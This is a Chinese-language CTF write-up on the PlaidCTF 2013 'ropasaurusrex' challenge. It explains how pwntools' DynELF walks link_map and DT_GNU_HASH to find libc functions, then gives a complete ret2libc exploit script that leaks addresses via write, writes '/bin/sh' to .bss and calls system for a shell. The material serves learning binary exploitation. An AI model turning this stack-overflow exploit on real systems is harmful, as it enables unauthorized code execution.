前言：
最近看了以下pwntoos的DynELF方法，对其中是如何获取到函数地址的过程很感兴趣，就研究了一下，对通过DT_GNU_HASH获取函数地址的过程有了比较清晰的了解
漏洞：
我这里使用2013-PlaidCTF进行测试，首先老样子看看对应的反汇编代码
主函数如下，首先进入0804841d方法，然后打印对应的内存数据：
0804841d函数中可以看出存在溢出漏洞，漏洞点也就在这里：
看看保护策略
开启了NX，也就意味着栈中数据没有执行权限，基址重定位和栈保护等都没开启，基本的思路如下：
- 利用栈溢出首先获取read的函数地址。
- 利用相对偏移获取system的函数地址。
- 向bss段写入/bin/sh\x00字符串。
- 调用system函数。
基础：
想理解DynELF的执行，首先需要对link_map和通过hash表找到函数内存加载地址方法有一定的了解，首先讲下link_map：
link_map是在 Linux 下使用的一个数据结构，用于描述动态链接库（共享库）的加载信息。它在动态链接过程中扮演着重要角色，具体的结构如下：
struct link_map {
struct link_map *l_next; // 指向下一个 link_map 结构的指针
struct link_map *l_prev; // 指向前一个 link_map 结构的指针
void *l_addr; // 共享库的基地址
char *l_name; // 共享库的名称（路径）
struct ElfW(Dyn) *l_ld; // 指向 ELF 动态段的指针
void *l_real; // 实际的共享库地址（可能用于不同的加载器）
void *l_reserved; // 保留字段，用于未来扩展
int l_refcount; // 引用计数，跟踪库的使用情况
// 可能还有其他字段，依赖于实现
};
其中我们需要关注的l_next，l_real和l_name三个，首先看看网上找的这个图：
下面我们找一下，首先确定第一个link_map地址位于got.plt的第二位
查看0xf7f7ba30对应 link_map结构：
查询下一个0xf7f40000链内容，可以看到为linux-gate.so，这不是我们要找的，跳过直接进入下一个：
进入下一个link_map：0xf7f40410
这里可以看到libc.so是我们需要找的名称，这样就可以根据real获取基质为：0xf7c00000
可以看到正确：
往后再看一个链，可以看到已经结束，此时next为0，表示结束。
这我们就获取到了对应lib的基址，然后我们需要获取libc.so的DT_GNU_HASH，DT_STRTAB，DT_SYMTAB三个地址，这个需要读取l_ld:0xf7e23d2c
l_ld为指向 ELF 文件的动态段（ElfW(Dyn)）的指针，包含共享库的动态信息，如所需的其他库、符号表等
可以直接查看对应的libc的区段，可以看到dynamic地址为00223d2c + 0xf7c00000 = 0xf7e23d2c
正常查看libc.so可以看到 DT_GNU_HASH，DT_STRTAB，DT_SYMTAB对应的标记和偏移
对应可以获取
即对应 DT_GNU_HASH，DT_STRTAB，DT_SYMTAB值
[*] Found DT_GNU_HASH at 0xf7c0466c
[*] Found DT_STRTAB at 0xf7c16c40
[*] Found DT_SYMTAB at 0xf7c09a80
获取到了这三个的地址，下面就要计算其具体的函数地址通过hash，这里读取system的地址，具体的结构图可以参考如下
首先我们看看DT_GNU_HASH结构
struct GnuHash {
uint32_t nbuckets; // 桶的数量
uint32_t symndx; // 符号表的开始索引
uint32_t maskbits; // 掩码位数
uint32_t shift; // 用于计算哈希值的位移量
uint32_t buckets[]; // 桶数组，大小为 nbuckets
// 后面可能跟着链表和其他数据
};
DT_STRTAB结构如下：
struct Elf32_Dyn {
int d_tag; // 动态节标记
union {
uint32_t d_val; // 整数值
uint32_t d_ptr; // 指针值
} d_un;
};
DT_SYMTAB结构如下：
struct Elf32_Dyn {
int d_tag; // 动态节标记
union {
uint32_t d_val; // 整数值
uint32_t d_ptr; // 指针值
} d_un;
};
知道了三个的结构，首先我们需要获取桶数组的地址buckets，具体计算方法如下：
buckets = DT_GNU_HASH + sizeof(elf.GNU_HASH) + (elfword * maskwords)
buckets = 0xf7c0466c + 0x10 + (0x00000400 * 4) = 0xF7C0567C
然后需要计算具体的system的hash，计算代码如下：
from pwnlib.util.packing import _need_bytes
def gnu_hash(s):
"""gnu_hash(str) -> int
Function used to generated GNU-style hashes for strings.
"""
s = bytearray(_need_bytes(s, 4, 0x80))
h = 5381
for c in s:
h = h * 33 + c
return h & 0xffffffff
print(gnu_hash("system"))
然后将计算的结果和nbuckets进行计算即485418122 % 0x000003f9 = 0x3CB
然后我们需要获取ndx的地址即通过hash计算的数组获取0xF7C0567C + (0x3CB * 4) = 0xF7C065A8下的内容c89，即对应的索引为c89
根据上述获取对应的地址如下
chain = chains + 4 * (ndx - symndx)
chain = 0xF7C06660 + 4 * (0x0c89 - 0x00000014) = 0xF7C09834
然后计算对应的DT_SYMTAB下的地址
sym = DT_SYMTAB + sizeof(DT_SYMTAB) * (ndx + i)
sym = 0xf7c09a80 + 0x10 * (0x0c89) = 0xF7C16310 ->0x3019
然后根据获取的偏移地址可以去DT_STRTAB表中找到对应的名称，两个表相同
name = DT_STRTAB + sym
name = 0xf7c16c40 + 0x3019 = 0xF7C19C59
可以看到0xF7C19C59下为对应的字符串名称system，证明找的地址没错，那么就可以取sym结构中的地址0004dd50为system的偏移地址和机制相加即可获取system的地址
0xf7c00000+0004dd50 = 0xf7c4dd50
通过gun hash计算的方式我们可以获取加载到程序中任意lib的任意函数地址
但是需要远程读取的时候需要注意我们需要能对外打印地址，需要有write或者print等函数进行打印才可以获取到地址，但是当有\00的终止符的时候除write外会有异常终止需要注意
利用：
最后看下利用方式，首先看看溢出点
0xffffcebc-0xffffce30=8c即140个字符就可以溢出返回地址
这里就需要注意了我们需要溢出返回地址到write，传入参数同时我们还要返回到我们的主函数重复执行，这里需要注意针对write的传参是通过栈而不是寄存器，这样我们就可以构造栈来传入参数：
看下对应的esp值，当前地址内容为0x0804842b，然后是三个参数：
然后执行call，call其实相当于两个功能push+jump push压入下一条地址，jump到指定地址，执行完成后地址如下：
调用系统方法传参通过栈，其内部会将栈的参数传入ebx、ecx、edx
所以我们构造就可构造如下poc
'a'*140 + p32(elf.plt['write']) + p32(start_addr) + p32(1) + p32(addr) + p32(8)
我们通过为write构造p32(1) + p32(addr) + p32(8)参数，然后返回start_addr地址，使得程序能正常执行
但是如何执行我们的system，我们可以先执行read，将输入的内容当作参数传入system中
ssize_t read(int fd, void *buf, size_t count); 我们只要给一个能写的地址，首先看看哪些地址可以写，使用vmmap
可以看到0x8049000 0x804a000可以写入，然后查下区段，使用：info files
我们可以写入到bss或data区段，只要可以写入即可
'a'*140 + p32(read_addr) + p32(system_addr) + p32(0) + p32(elf.bss()+100) + p32(8)
由于read使用三个参数，system使用一个参数，当执行完read后进入system会将地址写入p32(0)，将p32(elf.bss()+100当作参数传入并执行。
最后的代码如下：
from pwn import *
import codecs
#context.log_level = 'debug'
pro = 'ropasaurusrex'
#p = remote('127.0.0.1', 10001)
p = process(pro)
elf = ELF(pro)
start_addr = 0x8048340
def leak(addr):
payload = b'a'*140 + p32(elf.plt['write']) + p32(start_addr)
payload+= p32(1) + p32(addr) + p32(8)
p.sendline(payload)
context = p.recv(8)
hex_encoded_context = codecs.encode(context, 'hex').decode('utf-8')
print(b"%#x -> %s -> %s" % (addr, hex_encoded_context.encode('utf-8'),context))
return context
d = DynELF(leak,elf = elf)
system_addr = d.lookup(b'system',b'libc')
gdb.attach(p, 'b *0x8048416')
read_addr = d.lookup(b'read',b'libc')
print("system_addr: " + hex(system_addr))
print("read_addr: " + hex(read_addr))
#0x0804968c
p.sendline(b'a'*140 + p32(read_addr) + p32(system_addr) + p32(0) + p32(elf.bss()+100) + p32(8))
p.sendline(b'/bin/sh\x00')
p.interactive()
结束~！